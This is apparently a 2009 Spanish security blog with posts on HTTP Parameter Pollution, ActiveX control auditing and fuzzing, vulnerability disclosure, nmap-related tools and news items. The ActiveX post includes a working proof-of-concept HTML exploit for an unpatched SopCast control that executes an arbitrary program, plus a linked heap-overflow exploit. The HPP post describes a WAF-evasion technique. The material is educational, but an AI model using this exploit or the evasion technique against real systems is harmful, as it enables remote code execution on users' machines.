21 mayo 2009

Seguridad Web: HTTP Parameter Pollution

Por todos es conocido que los servidores web son uno de mayores objetivos de los ataques de hoy en día. El dinero y los datos accesibles a través de los portales web, con la finalidad de ofrecer un servicio, una vez más, se ven afectados por una nueva amenaza, un nuevo tipo de ataque.

En concreto, esta nueva técnica ha sido expuesta durante la conferencia OWASP Appsec Poland 2009 por parte de los expertos en seguridad Stefano Di Paola y Luca Carettoni y ha llegado en modo de correo a los suscritos a Bugtraq.

¿En qué consiste el ataque?
Pues una vez más (como sucede con un SQL Injection o una inyección de comandos) en la reacción que tiene el servidor web ante la manipulación de algún parámetro o cabecera en una aplicación web.

En este caso, consiste en la interpretación que tiene un servidor web cuando se repite el nombre de un parámetro dentro de la misma petición. Un ejemplo:

http://www.miaplicacion.com/index.asp&variable1=val1&variable2=val2

En este caso, cada variable recibiría su valor correcto por parte del servidor web y todo OK.

Sin embargo, supongamos que http://www.miaplicacion.com/index.asp&variable1=val1&variable1=val2

¿Qué valor tendría variable1 esta vez? Pues la respuesta es: depende del servidor web que lo interprete. Unos servidores asignarán el val1 y otros asignarán val2. En otros casos como IIS, su mecanismo interno los concatenará.

Por ejemplo, IIS se sabe que los concatena separándolos por comas. Apache solamente se queda con el primer valor que recibe un parámetro desechando el resto.

El impacto de este comportamiento por parte de los servidores Web puede ser enorme a la hora de procesar los argumentos, y puede dar lugar a múltiples posibilidades como sobreescritura de parámetros HTTP definidos por la aplicación en la URI, alteración del comportamiento de la aplicación, acceso y modificación de variables,... etc

Algo muy interesante es que aquellas empresas que como medidas preventivas de protección de sus aplicaciones web tengan un WAF (Web Application Firewall), que les permita sanitizar la entrada de las peticiones entrantes, tampoco estarán protegidas del todo.

En líneas generales, los Firewalls de Aplicaciones Web analizan las peticiones web basándose en firmas generalmente. Estas firmas son expresiones regulares que enfrentan contra las peticiones (los parámetros, las cabeceras, incluso el cuerpo de la página, etc...) de manera que, como si de un antivirus se tratara, si alguna de las "cadenas" coincide con la petición, la misma es bloqueada. Ahora bien, aprovechando esta nueva línea de ataque, es posible encapsular en la misma variable (repetida varias veces con diferente valor) un ataque, que si fuera en una sola variable, sería fácilmente detectada y bloqueada por cualquier WAF. De esta manera, al analizar cada parámetro, no se delimitaría como algo maliciosa la petición y sin embargo, al ser reensamblada e interpretada por el servidor web, sí que podría ser un riesgo en la seguridad de la aplicación.

Aquellos WAFs que no estén basados en tecnología de reverse proxy (proxy inverso) permitirán ser bypasseados ante este tipo de ataque.

Como ya indicamos en posts(1) anteriores( y 2), existe algún Firewall de Aplicaciones Web con un motor basado en ponderar los valores de los diferentes parámetros (con un funcionamiento parecido a un antispam) que en algunos de estos casos sería completamente efectivo (scoring list) además de porque está basado en tecnología de proxy inverso y en Apache, que como hemos visto sólo se quedaba con el primer valor asignado a un parámetro, reenviando sólo este valor al servidor final.

La presentación completa puede ser descargada aquí así como vista en Slideshare. Su lectura es altamente recomendable.
Leer más...

Steve Jobs ... ¿Owned?

Que un enmascarado-vengador-anonimo tiene menos credibilidad que una startup cuyos socios sean Luis Roldan y Julian Muñoz, es algo que cualquiera con dos dedos de frente tiene claro.

No obstante cada cierto tiempo se escuchan historias de gargantas profundas sobre hazañas relacionadas con misteriosos hackeos a personajes públicos.

En este caso le ha tocado al bueno de Steve Jobs ser víctima de uno de esos rumores, en concreto se ha publicado que un tal 'orin0co' se ha hecho con la cuenta en Amazon de Steve Jobs.

Cierto o no, el buen muchacho asegura que Jobs compró unos 20.000 artículos (!) en Amazon a lo largo de los últimos 10 años.

Supuestamente el acceso a las credenciales de Jobs fue conseguido mediante técnicas de phishing.

Cierto o no a partir de hoy cuando introduzca en google orin0co+steve jobs tendrá otro extra-point de karmawhorismo al ver su hazaña referenciada en castellano
Leer más...

20 mayo 2009

Seguridad en ActiveX

Los componentes ActiveX son objetos basados en COM y OLE que sirven para distribuir pequeñas aplicaciones por Internet mediante navegadores web (concretamente Internet Explorer). Cada una de estas aplicaciones son identificadas inequívocamente mediante un tipo de identificador "GUID" denominado "CLSID" (CLaSs IDentifier), que es mapeado opcionalmente a un nombre inteligible denominado "ProgID".

Por ejemplo, el CLSID "{8FEFF364-6A5F-4966-A917-A3AC28411659}", corresponde al ProgID "SOPOCX.SopCoreCtrl.1" y representa el ActiveX que muestra un visor multimedia de una red de televisión P2P llamado SopCast.

Para comprender la seguridad de los controles ActiveX es necesario entender el modelo en el que son cargados en IE sin solicitar permiso al usuario, como ocurre en la siguiente captura.




Los Kill-Bit son una entrada en el registro, que referencia el BIT 11, que marca un CLSID como no ejecutable dentro del navegador u otros entornos programables. Los killbits son liberados en actualizaciones con el objetivo de bloquear controles ActiveX de los que se conocen vulnerabilidades.

Se puede conocer que controles y objetos están "killeados" buscando en el registro, en concreto la clave "Compatibility Flags" ha de tener el valor con máscara "0x400" (COMPAT_EVIL_DONT_LOAD) dentro de las siguientes localizaciones:

x86 IE / x86 OS: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\CLSID del control ActiveX

x64 IE / x64 OS: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\CLSID del control ActiveX

x86 IE / x64 OS: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\ActiveX Compatibility\CLSID del control ActiveX




Para consultar de forma rápida estas claves, existen herramientas que simplifican la tarea.

AxBan de Errata Security, permite seleccionar a que ActiveX marcar el KillBit.



GUI KillBit de SANS, similar a AxBan, permite seleccionar en base al nombre.

KillBit Explorer, permite identificar aquellos controles ActiveX con killbit activado.

ActiveX Compatibility Manager y ActiveXHelper, de Nirsoft, muestran información de los controles instalados en el sistema, también permite activarlos o desactivarlos. Ambos permiten ser ejecutados por línea de comandos.





Es importante destacar que muchos ActiveX son considerados inseguros en la zona de Internet y no son cargados automáticamente en base a otros criterios además del KillBit. La lógica que sigue el sistema operativo para determinarlo la detalló Fermín en un artículo que se resume en:
  1. Si está activo el KillBit, no se carga el control.
  2. En caso de IE7, el ActiveX tiene que tener una firma digital correcta.
  3. Se comprueba si el control tiene activo el interfaz IObjectSafety:

  4. Si el control no implementa IObjectSafety ni las propiedades en el registro, el ActiveX no es cargado
  5. Si implementa "Safe For Initialization", se permitirá su carga y la obtención de parámetros mediante el atributo data y param de las etiquetas correspondientes del html.
  6. Finalmente, el control podrá ser manipulado mediante javascripts u otros scripts si implementa o no "Safe for Scripting".
Ahora que hemos expuesto los principios básicos del modelo de seguridad, se detalla el análisis de un par de ejemplos de los que ya se han reportado vulnerables.

1.- Sopcast SopCore 'SetExternalPlayer()' ActiveX Control Remote Code Execution Vulnerability

Una vez se instala el componente que se desea auditar, se busca los métodos que exporta así como las propiedades que mantiene de seguridad. Esto se puede realizar de forma sencilla mediante dos herramientas.

OLE/COM Object Viewer, de Microsoft, permite seleccionar de toda la lista de controles el que queremos examinar y muestra sus interfaces, métodos y propiedades, resalta aquellos que no son del sistema y permite filtrar por los que tienen una determinada configuración como Safe for Scripting.



Es posible obtener más información de un interfaz pulsando con el botón derecho y seleccionando "View Typeinfo...", se muestra la siguiente ventana con el detalle de las propiedades y métodos de "IDispatch".



COMRaider de iDefense, pese a que no es su objetivo principal, permite obtener información detallada: ProgID, localización de la librería, CLSID, etcétera.



Y obtener las propiedades y métodos.



Otras herramientas: ActiveX Manager, ActiveXplorer o TypeLib Browser

Investigando la función "SetExternalPlayer", en la documentación del WebPlayer de Sopcast no deja muy claro su uso. Pero la lógica indica que seguramente sirva para configurar un reproductor multimedia distinto al propio de la compañía SopCast...

... Después de hacer varias pruebas, se puede comprobar que el ActiveX no comprueba el valor de entrada de este campo y ejecuta todo aquello que se le introduzca, sea un reproductor multimedia o cualquier otro comando.

Esta vulnerabilidad fue descubierta en Febrero del 2009 y tres meses después no se ha solucionado. Para explotarla es tan sencillo como utilizar el siguiente HTML:
<HTML><HEAD><script language="Javascript" type="text/JavaScript">
window.onload=function()
{
SopPlayer.InitPlayer();

<font color="#ff0000"><b><b>SopPlayer.SetExternalPlayer("c:\\WINDOWS\\system32\\calc.exe");</b></b></font>
SopPlayer.SetSopAddress("sop://broker.sopcast.com:3912/6002"); //A LIVE CHANNEL ...
SopPlayer.SetChannelName("CCTV5");
SopPlayer.Play();
}
</script></HEAD><BODY>
<div class="youtube-video"><object
ID="SopPlayer"
name="SopPlayer"
CLASSID=clsid:8FEFF364-6A5F-4966-A917-A3AC28411659
HEIGHT=375
WIDTH=375>
</object></div></BODY></HTML>

2.- Autodesk IDrop ActiveX Control 'IDrop.ocx' Multiple Heap Memory Corruption Vulnerabilities

Para instalar el ActiveX se puede descargar desde: http://www.autodesk.com/prods/idrop/download/idrop.cab, descomprimir el fichero, y ejecutar en la carpeta vía línea de comandos:

C:\idrop>regsvr32 idrop_sw.ocx

Repitiendo el proceso anterior, se obtiene información de OLEViewer y COMRaider:





En este caso las propiedades son algo más complicadas y analizarlas manualmente es una tarea lenta y compleja.

Para este tipo de situaciones se utilizan aplicaciones que permitan automatizar el proceso, entre ellas destacan el propio COMRaider, AXman de HDMoore o Dranzer, del CERT-US.

Fuzzering con COMRaider.

Empezando por COMRaider, se presiona con el botón derecho sobre el miembro a probar y seleccionando "Fuzz member". Esto generará una lista de archivos a chequear. Otra opción es hacer la prueba sobre toda la librería, lo que llevaría bastante más tiempo. Next->Click();



La siguiente pantalla, tras pulsar sobre "Begin Fuzzing", comenzará las pruebas,. Si hay suerte los contadores tras "Exceptions", "Windows" o "ApiTriggers", serán mayores de 0, en ese caso, habrá que analizar manualmente que está ocurriendo, si realmente es una vulnerabilidad y si se puede explotar. También puede generar cualquier tipo de excepción no controlada sin que tenga mayor impacto.



En este caso no hubo suerte, aunque COMRaider puede ser editado para llevar a cabo más y distintas pruebas, sacándole mucho más partido.



Fuzzering con Dranzer.

Dranzer es la herramienta más joven de las tres que se analizan, se liberó recientemente aunque ha permanecido bastante tiempo en el laboratorio del US-CERT. Se usa mediante línea de comandos.

Las opciones son sencillas:
Execution mode not specified use -g,-k,-l,-b, or -p
Usage: Dranzer <options>
Options:
-o <outputfile> - Output Filename
-i <inputfile> - Use input file CLSID list
-d <notestfile> - Use don't test CLSID List
-g - Generate base COM list
-k - Generate Kill Bit COM list
-l - Generate Interface Listings
-b - Load In Browser (IE)
-t - Test Interfaces Properties and Methods
-p - Test PARAMS (PropertyBag) in Internet Explorer
-s - Test PARAMS (Binary Scan) in Internet Explorer
-n - Print COM object information
-v - Print out version information


El siguiente ejemplo muestra información de los CLSID que contiene el archivo "idrop.txt", en este caso, únicamente el del IDrop de Autodesk.



Para automatizar las pruebas Dranzer dispone de dos opciones, PropertyBag (-p) y BinaryScan (-s). Al ejecutarlo con ellas (no simultáneamente), irá abriendo y cerrando el navegador comprobando su comportamiento. Desafortunadamente estas pruebas tampoco tienen efecto.



Es interesante el uso del parámetro -g para generar una lista de COMs que posteriormente podrá ser excluida del análisis con el parámetro -d. Evitando analizar controles que se conocen no vulnerables una y otra vez.

Fuzzering con AXMan.

El fuzzer de HDMoore fue presentado en la BlackHat, se usa mediante línea de comandos y un interfaz web. Es posiblemente el más sencillo de usar. Requiere tener instalado algún tipo de servidor web, como por ejemplo xampp

Lo primero es generar una base de datos con los controles instalados en el sistema, para eso una vez descargado se procede a ejecutar el binario con un directorio donde se almacenará la configuración, en este caso "conf"
C:\axman-1.0.0\bin>axman conf
La ejecución de este comando, generará varios errores y ventanas que se pueden cerrar sin problemas. Una vez finalice, es recomendable reiniciar el equipo que se encontrará en un estado bastante inestable.

El nuevo directorio "conf", ha de ser copiado dentro del subdirectorio "html", y este directorio servido por HTTP.



Se accede con el propio IE en local (http://localhost/). La aplicación permite analizar un rango de CLSIDs o bien uno individual. Se introduce el identificador del ActiveX de Autodesk y se pulsa sobre "Single". Si se produce algún error el navegador mostrará en la barra de estado la última prueba realizada, que podrá dar pistas de donde se encuentra el fallo.



Con esta herramienta, el navegador dará un error. El exploit es algo más complejo: un buffer overflow tradicional para el que hará falta algo de debug si queremos desarrollar el exploit. El resultado final del exploit se puede consultar aquí: http://www.milw0rm.com/exploits/8560

Otras herramientas de Fuzzering: COMBust, AXFuzz

Termino disculpándome, puesto que no he tenido suficiente tiempo para ser más breve.

Referencias:
ActiveX - Active Exploitation

Leer más...

19 mayo 2009

¿Les importa a las empresas las vulnerabilidades reportadas?

En este último año y sobre todo últimamente, desde Security By Default (y algún colaborador nuestro), hemos reportado diferentes vulnerabilidades a diferentes entidades: Menéame, Digg, Movistar, Sun (gracias Slai One), Popular.es, etc,...

En general, lo éticamente correcto cuando se encuentra una vulnerabilidad en un sistema, una vez analizado el impacto de la misma, es notificarla al fabricante o en caso de una página web, al contacto designado por la entidad propietaria. Un correo de contacto que debería ser válido es el proporcionado por la organización cuando efectúa el registro del dominio. Para ello lo que hacemos es buscar los registros whois del dominio o en caso de que falle (o hayan hecho caso a Yago) podemos intentarlo haciendo el Whois a la dirección IP directamente.

Una vez encontrado el contacto, se envía un correo, detallando lo mejor posible, la naturaleza del bug y cómo se ha encontrado (por casualidad o por intuición).

En nuestro caso además solemos indicar que nos gustaría saber cuándo ha sido parcheado el bug para poder publicar un artículo en el que hacemos pública una vulnerabilidad que ya ha sido solucionada, así como los detalles de explotabilidad de la misma.

A partir de aquí, lo lógico es esperar una contestación del tipo que sea en un tiempo prudencial.

Las respuestas han sido hasta ahora bastante diferentes:
  • Un mensaje automatizado que nos daba bastante pocas esperanzas de que la vulnerabilidad fuese a ser tratada en condiciones, como nos pasó con Digg.
  • Una comunicación bastante fluida y amable en la que se agradecía haber reportado el fallo y que en un breve espacio de tiempo sería solucionado: el caso de popular.es o Menéame,
  • Ningún tipo de respuesta, como hasta ahora ha sido el caso en Movistar y Sun (esta vulnerabilidad no ha sido ni descubierta ni notificada por nosotros, pero estamos al tanto de que la comunicación ha sido completamente unidireccional desde "Slai One" hacia Sun) no hemos obtenido respuesta de ningún tipo.
Si bien parece que las empresas de mayor volumen hacen caso omiso de las notificaciones de vulnerabilidades, hemos de encontrar la justificación de dicha latencia en la jerarquización y estratificación de las mismas. Conocemos que desde que llega un correo con la notificación (si es que llega y no lo filtra el antispam), se procesa por diferentes operadores, se reenvía al departamento correspondiente, se analiza, se comprueba su impacto, se piden los permisos para el cambio y se pasa a producción... pueden pasar varios días. Por eso en organizaciones más sencillas en cuanto a estructura, este tipo de problemas tiene menor tiempo de exposición.

No obstante parece mentira como organizaciones con gran cantidad de medios invertidos en seguridad (infraestructuras de IDS/IPS, servicios de auditoría de aplicaciones, criterios de programación segura, técnicos extremadamente competentes,...) no tengan en cuenta el facilitar de una forma más fácilmente alcanzable una dirección de correo en la que poder reportar los remotos fallos encontrados por terceros. Esta dirección obviamente debería ser monitorizada de manera continua por alguien del equipo de seguridad que pueda escalar el fallo al departamento correspondiente a la brevedad.
Leer más...

18 mayo 2009

La suite de herramientas de Fyodor

El señorito de la foto es Gordon Lyon, más conocido como Fyodor, creador de la herramienta de seguridad por excelencia, nmap. Pero esta no es la única aplicación interesante que nos podemos encontrar dentro de su web http://insecure.org

Todas estas aplicaciones anexas nacen como ideas planteadas para poder profundizar en ellas en el Google Summer Of Code, la iniciativa creada por Google para becar a estudiantes (beca de varios miles de euros) a que se pasen el verano entero desarrollando para un proyecto "Open Source" en vez de por ahí haciendo pentestings en la playa o fingerprintendeando en cualquier discoteca con espuma disparada de un cañón. Entre los proyectos, también se encuentra el nmap

Para ver ideas pendientes que se podrían desarrollar o seguir mejorando, podréis visitar este enlace.

Entre las más interesantes (algunas ya disponibles) se encuentran:

- zenmap -
***********
Para los que no se lleven bien con la línea de comandos, o no les hacía mucha gracia el frontend lanzador (wrapper) que venía hace varias versiones, nmapFE, se comenzó con este otro interfaz gráfico denominado Zenmap, para así poder aportar más funcionalidades extras.


Para este verano, se quiere mejorar su integración con el motor de scripting, así como posibilidad de exportar las topologías a imágenes y conseguir mayor velocidad en su procesamiento.

- ncat -
*******
¿Os suena netcat? Hasta hoy la última versión es la 0.7.1, que fué publicada el 11 de Enero de 2004...De ahí que se pretende crear desde cero una nueva navaja multiusos, respaldada por todo lo referente a nmap. Se lleva integrando en las releases de nmap ya desde las betas del 4.85, inicialmente incluida en la beta1, y este verano se intentará mejorar todo lo posible, ya que formará parte de la próxima versión estable.

Teneis la guía online en este enlace, de la que destacaría los trucos que se pueden realizar con el conjunto adecuado de parámetros, y que merecen un post aparte. Si os saben a poco, en la lista de nmap-dev se comenzó un hilo para que cada uno pudiera exponer los propios. Obviamente, también son aplicables a netcat. Mandar e-mails, crear servicios rápidamente sin necesidad de programación alguna y ponerlos a la escucha, envío de ficheros, y un largo etc.

Para saber hasta dónde se quiere llegar con ncat, visitad este enlace, y si teneis ideas u os veis capaces de llevar a cabo algún punto de la lista, esta es la mejor oportunidad.

Dejando las aplicaciones que ya podemos utilizar, le toca el turno a aquellas que se espera que vean la luz pronto, y cuyo empuje podría tener lugar en el Summer Of Code de este año 2009.

- nping -
*********
Si en el anterior punto hablábamos de querer revivir el proyecto netcat, ahora le toca el turno al hping de Antirez. Fyodor siempre se ha declarado un gran "fan" de esta herramienta, y que a diferencia de su hermanísimo pequeño ping, esta no sólo envía paquetes ICMP, sino que también TCP, UDP, etc. Se quiere llevar el concepto de hping a algo más, y para ello, nos encontramos con un español como coordinador del desarrollo, Luis Martín García, estudiante de Master de la Universidad Carlos III de Madrid. Todo un orgullo, del que esperamos tener más noticias pronto. Las intenciones de Fyodor con este proyecto se muestran en este hilo

- ncrack -
**********
ncrack pretende romper sistemas de autenticación de servicios como ssh, ftp, pop3, telnet, y un largo etc. Rápidamente se me viene a la mente, en línea de comandos, el cracker del grupo THC, llamado thc-hydra. Si nos pasamos por su página vemos como la última actualización es de 2006. Y Fyodor, al que vemos que tiene una especial preocupación por comenzar herramientas cuya competencia tienen un desarrollo caído en el olvido, propuso también en la lista nmap-dev el empezar este proyecto. Aquí podreis ver el llamamiento y sus propósitos con este futuro cracker.

Como él mismo comenta, actualmente dispone de scripts .nse (Nmap Scripting Engine) que realizan tareas de cracking en autenticación de varios servicios, y de manera muy eficiente al ser posible integrarlas con nmap, pero hace casi una decada se le ocurrió comenzar con este proyecto y ahora quiere rescatarlo, esperando que alguien pueda caminar junto a él en su desarrollo.

Estaremos pendientes a lo que sale definitivamente de este verano lleno de proyectos pendientes y muy interesantes.

[+] Descargar nmap 4.85BETA9, versión liberada el 12 de Mayo [source code][windows][otros]
Leer más...

17 mayo 2009

Para el que no lo sepa, OpenRipple es un proyecto Español para implementar un buscador distribuido que tuvo como cuna a Kriptopolis y que tiene como ambicioso proyecto convertirse en una alternativa a los buscadores tradicionales gestionados (en su mayoría) por grandes corporaciones.

OpenRipple ha sido nominado para los 'Sourceforge Community Choice Award' que son una especie de 'Oscars del software libre' ya que premian a las iniciativas mas innovadoras y de mas calidad.

Desde SbD nos parece que es todo un honor que esa nominación haya recaído en un proyecto hispano y nos sumamos a la convocatoria para recabar votos para el proyecto.

Ojala gane y todo esto ayude a la popularización del proyecto ya que, desde mi humilde opinión, este interesante proyecto no está contando con el apoyo que debiera por parte de los medios españoles

Para votar, se puede hacer aquí
Leer más...

16 mayo 2009

Alemania roba el dominio Wikileaks.de

Supongo que a muchos les sonará o conocerán Wikileaks, la web que se dedica a publicar informes / documentos que han sido 'filtrados' desde organismos gubernamentales y grandes corporaciones.

Tal vez su momento de gloria mas sonado fue cuando publicaron la lista de websites que el gobierno Australiano iba a bloquear, y terminaron por ser ellos mismos bloqueados.

Ahora, se ha conocido que Alemania, ese avanzado país Europeo se ha hecho con el control del dominio Wikileaks.de (que había sido registrado por la organización Wikileaks) y se lo ha auto-transferido a su control.

Nada se sabe de los motivos que le han llevado a hacer eso, pero si se conoce que Alemania tiene pensado implantar un sistema de filtrado-selectivo al estilo de lo que hace Australia.

Personalmente yo se que en España se realizan bloqueos-selectivos de webs por parte de ISPs en casos muy puntuales de phishings y fraudes pero no existe proyecto alguno para imponer una 'lista negra' de sites a bloquear, no obstante sin duda es muy muy preocupante la nueva tendencia 'gran-hermanistica' que invade el mundo civilizado
Leer más...